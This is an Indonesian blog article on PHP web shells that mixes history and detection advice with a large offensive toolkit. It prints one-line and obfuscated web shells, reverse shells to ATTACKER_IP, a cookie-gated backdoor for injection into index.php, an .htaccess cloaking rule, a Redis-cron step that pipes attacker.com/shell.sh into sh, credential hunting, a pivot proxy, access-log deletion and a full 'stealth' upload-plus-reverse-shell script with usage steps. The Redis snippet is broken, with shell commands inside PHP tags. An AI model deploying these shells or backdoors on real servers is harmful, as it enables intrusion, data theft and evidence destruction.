Kartinisoft
Kabar Tekno / Security / Kekuatan PHP Shell: Pintu Belakang Menuju Kendali Penuh Server!
Security

Kekuatan PHP Shell: Pintu Belakang Menuju Kendali Penuh Server!

A

Admin Kartinisoft Dev

Penulis

28 July 2026
8 mnt baca
Kekuatan PHP Shell: Pintu Belakang Menuju Kendali Penuh Server!

"PHP Shell adalah pintu belakang berbahaya yang memberikan kendali penuh atas"

Asal-Usul PHP Shell

PHP pertama kali dikembangkan oleh Rasmus Lerdorf pada tahun 1994 sebagai kumpulan skrip CGI bernama Personal Home Page Tools (kemudian dikenal sebagai PHP/FI — Form Interpreter). Fungsinya awalnya sangat sederhana: mengolah data formulir dan menampilkan statistik kunjungan halaman web.

Namun, ketika PHP berevolusi menjadi bahasa scripting server-side yang powerful (terutama sejak rilis PHP 3 pada 1998 dan PHP 4 pada 2000), fitur bawaannya memungkinkan eksekusi perintah sistem melalui fungsi seperti:

  • exec()

  • system()

  • passthru()

  • command

  • shell_exec()

Karena banyak aplikasi web mulai menggunakan PHP secara masif — sering kali dengan praktik keamanan yang buruk (misalnya: input validation tidak ada, upload file tanpa sanitasi) — penyerang mulai mengeksploitasi kerentanan seperti:

  • File upload tanpa validasi

  • Local/Remote File Inclusion (LFI/RFI)

  • Code injection

Dalam konteks ini, PHP shell pertama muncul secara organik di komunitas underground sekitar akhir 1990-an hingga awal 2000-an, seiring maraknya serangan terhadap aplikasi web berbasis PHP.

Salah satu contoh paling awal dan terkenal adalah c99 shell, yang mulai beredar sekitar tahun 2003–2004. Shell ini menawarkan antarmuka web lengkap dengan fitur:

  • Eksekusi perintah

  • Manajemen file (upload, download, edit)

  • Informasi server & PHP

  • Bind/reverse shell

  • SQL injector

Sebelum c99, banyak shell sederhana berupa satu baris kode seperti:

<?php system($_GET['cmd']); ?>

yang sudah cukup untuk memberikan akses remote jika berhasil di-upload ke server.

Mengapa PHP Shell Menjadi Populer?

  1. PHP tersebar luas: Hampir semua shared hosting mendukung PHP.

  2. Fungsi eksekusi sistem tersedia by default: Tidak perlu modul tambahan.

  3. Mudah di-deploy: Cukup unggah file .php, lalu akses via browser.

  4. Sulit dideteksi jika diobfuscate: Base64, eval, variabel dinamis, dll.

Meski tidak ada catatan resmi tentang "siapa yang membuat PHP shell pertama", konsep tersebut muncul secara alami dari kombinasi:

Kemampuan eksekusi sistem di PHP + Kerentanan keamanan aplikasi web + Kebutuhan akan akses persisten

Perkiraan waktu kemunculan praktik ini adalah sekitar 1998–2002, mencapai puncak popularitasnya pada era mid-2000s bersamaan dengan ledakan CMS rentan (seperti Joomla!, WordPress plugin lama, phpBB).

PHP shell (atau web shell berbasis PHP) adalah skrip PHP yang ditempatkan di server web untuk memberikan antarmuka interaktif jarak jauh kepada penyerang atau administrator. Skrip ini mengeksekusi perintah sistem atau fungsi PHP berdasarkan input dari pengguna melalui HTTP request (biasanya via parameter GET/POST).

Cara Kerja Dasar

  1. Penempatan File: Penyerang mengunggah file PHP (misal: shell.php) ke direktori web yang dapat dieksekusi oleh server (misalnya melalui celah upload, LFI, atau eksploitasi RCE).

  2. Akses via Browser/HTTP Client: File tersebut diakses melalui URL, misal: http://target.com/shell.php?cmd=id.

  3. Eksekusi Perintah: Skrip membaca parameter (misal cmd), lalu mengeksekusinya menggunakan fungsi seperti system(), exec(), passthru(), atau backtick operator.

  4. Output Dikirim ke Browser: Hasil eksekusi dikembalikan sebagai respons HTTP, memungkinkan penyerang menjalankan perintah shell seperti di terminal lokal.

Contoh Sederhana Web Shell PHP

<?php
// simple_shell.php
if (isset($_GET['cmd'])) {
$cmd = $_GET['cmd'];
echo "<pre>";
system($cmd);
echo "</pre>";
}
?>

Penggunaan:

  • Akses: http://target.com/simple_shell.php?cmd=whoami

  • Output: Menampilkan hasil perintah whoami dari server.


Teknik Lanjutan dalam Web Shell

  1. Obfuscation: Menghindari deteksi dengan encoding/base64/globals.

    <?php eval(base64_decode($_POST['z'])); ?>

    Payload dikirim terenkripsi via POST.

  2. Interaktif dengan Form:

    <form method="post">
     <input type="text" name="cmd" />
     <input type="submit" value="Run" />
    </form>
    <?php if ($_POST['cmd']) { echo "<pre>"; passthru($_POST['cmd']); echo "</pre>"; } ?>
  3. File Upload & Download:

    • Fitur upload file baru ke server.

    • Fitur download file sensitif (/etc/passwd, config DB).

  4. Persistence & Pivoting:

    • Menambahkan user SSH.

    • Membuat reverse shell untuk koneksi balik ke mesin penyerang.


Fungsi PHP yang Umum Digunakan

Fungsi

Deskripsi

system()

Menjalankan perintah dan menampilkan output langsung

exec()

Menjalankan perintah, mengembalikan baris terakhir output

shell_exec()

Menjalankan perintah, mengembalikan seluruh output sebagai string

passthru()

Menjalankan perintah dan mengirim raw output ke browser

command

Backtick operator — mirip shell_exec()


Deteksi & Mitigasi

Deteksi:

  • Monitor file .php baru di direktori web dengan konten mencurigakan (system, eval, base64_decode).

  • Gunakan WAF untuk blokir pola seperti ?cmd=, ?exec=.

  • Analisis log akses: permintaan dengan parameter aneh atau panjang berlebihan.

Mitigasi:

  • Nonaktifkan fungsi berbahaya di php.ini:

    disable_functions = system,exec,passthru,shell_exec,proc_open,popen

  • Batasi izin upload file; validasi tipe MIME dan ekstensi.

  • Gunakan principle of least privilege untuk proses web server.

  • Lakukan code review dan gunakan secure coding practices.

1. Deploy Shell dengan Stealth (Minimal Signature)

Hindari deteksi WAF/AV dengan shell minimalis dan obfuscated.

Contoh: One-liner Reverse Shell (di-deploy via LFI/RFI/upload)

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1'"); ?>
  • Ganti ATTACKER_IP dengan IP Anda.

  • Jalankan listener di mesin Anda:

    nc -nvlp 443

Alternatif: Web Shell Tanpa Fungsi Terlarang

Jika exec, system dinonaktifkan, gunakan fungsi lain:

<?php
$sock = fsockopen("ATTACKER_IP", 443);
$proc = proc_open("/bin/sh", array(0 => $sock, 1 => $sock, 2 => $sock), $pipes);
?>

2. Gunakan Shell Interaktif dengan Fitur Lengkap (untuk Post-Exploitation)

Deploy shell seperti p0wny@shell — ringan, modern, dan tidak mengandalkan fungsi berbahaya secara eksplisit.

Fitur utama:

  • Upload/download file

  • Terminal interaktif via WebSocket/XHR

  • Tidak menggunakan eval() atau base64_decode() berlebihan → lebih sulit dideteksi

Contoh deploy:

# Di server target (jika bisa write ke direktori web)

echo '<?php include($_GET["f"]); ?>' > .hidden.php

# Lalu unggah p0wny.php sebagai payload

curl -X POST -F "[email protected]" http://target.com/upload.php

# Akses: http://target.com/.hidden.php?f=p0wny.php


3. Persistence & Evasion

Agar tetap terhubung meski shell utama terhapus:

a. Buat Backdoor Tersembunyi

  • Sisipkan kode di file legimit seperti index.php:

    if (isset($_COOKIE['auth']) && md5($_COOKIE['auth']) === 'e10adc3949ba59abbe56e057f20f883e') {
     eval(base64_decode($_POST['cmd']));
    }

    Akses hanya jika cookie auth=123456 dikirim.

b. Gunakan .htaccess untuk Redirect Payload

File .htaccess:

RewriteEngine On
RewriteCond %{HTTP_REFERER} ^https?://.*google\.com [NC]
RewriteRule ^(.*)$ shell.php [L]

Shell hanya aktif jika direfer dari Google — trik sosial untuk menghindari analisis manual.


4. Eskalasi & Pivoting

Setelah dapat shell:

a. Cari Credential

grep -r "password\|passwd\|DB_PASS" /var/www/
cat /etc/apache2/sites-enabled/*.conf

b. Eksploitasi Internal Services

Jika ada Redis, MySQL, atau Memcached internal:

<?php
// Eksploitasi Redis untuk RCE via cron (jika port 6379 terbuka)
file_put_contents('/tmp/exp', "\n\n*/1 * * * * /usr/bin/curl http://attacker.com/shell.sh | sh\n\n");
redis-cli -h localhost set crontab "$(cat /tmp/exp)"
redis-cli -h localhost config set dir /var/spool/cron/crontabs/
redis-cli -h localhost config set dbfilename root
?>

c. Pivot ke Jaringan Internal

Gunakan PHP untuk membuat SOCKS proxy sederhana:

<?php
// simple_socks.php — forward traffic ke internal network via PHP stream
$target = $_GET['ip'];
$port = $_GET['port'];
$remote = fsockopen($target, $port);
while (!feof($remote)) {
echo fread($remote, 1024);
}
?>

Akses: http://target.com/simple_socks.php?ip=192.168.1.10&port=22 → scan internal SSH.


5. Mitigasi Deteksi Forensik

  • Hapus log akses:

    <?php unlink(__FILE__); system('rm /var/log/apache2/access.log'); ?>

  • Gunakan memory-only execution (tidak tulis ke disk):

    <?php include('php://input'); ?>

    # Kirim payload via POST body langsung.


⚠️ Catatan Penting:

Semua teknik di atas hanya legal dan etis jika:

  • Anda pemilik sistem tersebut,

  • Atau memiliki izin tertulis (penetration test),

  • Atau dalam lingkungan lab pribadi (misal: TryHackMe, Hack The Box, mesin lokal).


Ingin Contoh Nyata?

Berikut contoh web shell edukatif lengkap (untuk lab sendiri!) dengan fitur upload + reverse shell:

<?php

// stealth_shell.php — jangan simpan di production!

@error_reporting(0);

@set_time_limit(0);

if(isset($_GET['r'])) {

$ip = $_GET['ip'] ?? '127.0.0.1';

$port = $_GET['p'] ?? '443';

exec("/bin/bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'");

exit;

}

if(isset($_FILES['f'])) {

move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']);

echo "OK";

exit;

}

?>

<form method="post" enctype="multipart/form-data">

<input type="file" name="f"><input type="submit">

</form>

<!-- Akses reverse shell: ?r=1&ip=YOUR_IP&p=443 -->

Simpan sebagai stealth_shell.php, unggah ke target, lalu:

  1. Upload file lain via form.

  2. Dapatkan reverse shell dengan: http://target/stealth_shell.php?r=1&ip=10.0.0.5&p=443.

🔍 Indikator File Sistem

  • Nama file mencurigakan:
    shell.php, c99.php, r57.php, wso.php, p0wny.php, .hidden.php, adminer.php (jika tidak resmi), atau nama acak seperti a1b2c3.php.

  • File baru di direktori web:
    Perubahan timestamp (mtime) pada file .php di luar siklus deployment.

  • File dengan ukuran kecil tapi berisi fungsi berbahaya:
    Misal: <5 KB tapi mengandung eval, base64_decode, system, exec.

💡 Gunakan perintah ini untuk cari file PHP baru dalam 7 hari terakhir:

find /var/www -name "*.php" -mtime -7 -ls


📜 Isi Kode Mencurigakan

Cari pola umum dalam isi file:

<?php system($_GET['cmd']); ?>

<?php eval(base64_decode($_POST['z'])); ?>

<?php passthru($_REQUEST['exec']); ?>

Atau teknik obfuscation:

  • Penggunaan variabel dinamis: $a = "sys"."tem"; $a("id");

  • Encoding berlapis: eval(gzinflate(base64_decode(...)))

  • Fungsi langka seperti assert(), create_function() (rentan RCE)

💡 Cari dengan grep:

grep -rE "(system|exec|passthru|shell_exec|eval|base64_decode)" /var/www/ --include="*.php"


🌐 Log Akses Web (HTTP Access Logs)

Tanda perilaku penggunaan shell:

  • Parameter aneh di URL:
    /uploads/image.jpg?cmd=id
    /index.php?act=upload&f=shell.php

  • Permintaan POST besar ke file .php tanpa form legimitas.

  • User-Agent tidak biasa atau kosong saat mengakses file sensitif.

  • Pola akses berulang ke satu file dengan parameter berubah-ubah (interaksi shell).

Contoh log mencurigakan:

185.123.45.67 - - [28/Jul/2026:03:14:22] "GET /cache/.htaccess HTTP/1.1" 200 123 "-" "Mozilla/5.0"

185.123.45.67 - - [28/Jul/2026:03:14:25] "GET /cache/.htaccess?ip=ATTACKER_IP&p=443&r=1 HTTP/1.1" 200 -


⚙️ 4. Aktivitas Jaringan & Proses

  • Koneksi keluar tak biasa dari proses web server (misal: Apache/nginx membuka koneksi ke IP eksternal via port 443/53).

  • Proses anak seperti /bin/sh, /bin/bash yang dipanggil oleh user web (misal: www-data).

  • Reverse shell aktif → koneksi TCP ke VPS penyerang.

💡 Monitor dengan:

ss -tulpn | grep ':80\|:443' # lihat koneksi aktif

ps auxf | grep -A5 -B5 'sh\|bash' # lihat proses shell


🛡️ 5. Perubahan Konfigurasi Server

  • Modifikasi .htaccess untuk redirect payload atau bypass ekstensi.

  • Penambahan handler PHP untuk ekstensi non-PHP (misal: .jpg.php).

  • Perubahan hak akses file agar bisa dieksekusi.


🧪 6. Behavioral Anomaly

  • Lonjakan penggunaan CPU/memory saat tidak ada traffic tinggi.

  • File sensitif diakses secara tidak wajar:
    /etc/passwd, /home/user/.ssh/id_rsa, wp-config.php, .env

  • Upload file dengan ekstensi ganda: shell.php.jpg


✅ Rekomendasi Deteksi Otomatis

  1. Integrity Monitoring: Gunakan AIDE atau Tripwire untuk deteksi perubahan file.

  2. WAF Rules: Blokir pola seperti ?cmd=, ?exec=, atau base64 panjang di parameter.

  3. EDR/SIEM: Buat alert jika proses web mengeksekusi /bin/sh.

  4. Disable Functions: Di php.ini:

    disable_functions = exec,passthru,shell_exec,system,proc_open,popen,eval

  5. Scan Rutin: Gunakan tools seperti:


Jika kamu menemukan indikasi kuat adanya PHP shell:

  1. Jangan langsung hapus — simpan sebagai artefak forensik.

  2. Analisis alur masuknya (upload? LFI? plugin rentan?).

  3. Patch vektor awal sebelum membersihkan sistem.

A

Tentang Penulis

Admin Kartinisoft Dev

Teknisi dan penulis konten di Kartinisoft — spesialis solusi digital berbasis Laravel, Python, dan AI.

🤖

Kartinisoft Support

🟢 WhatsApp CS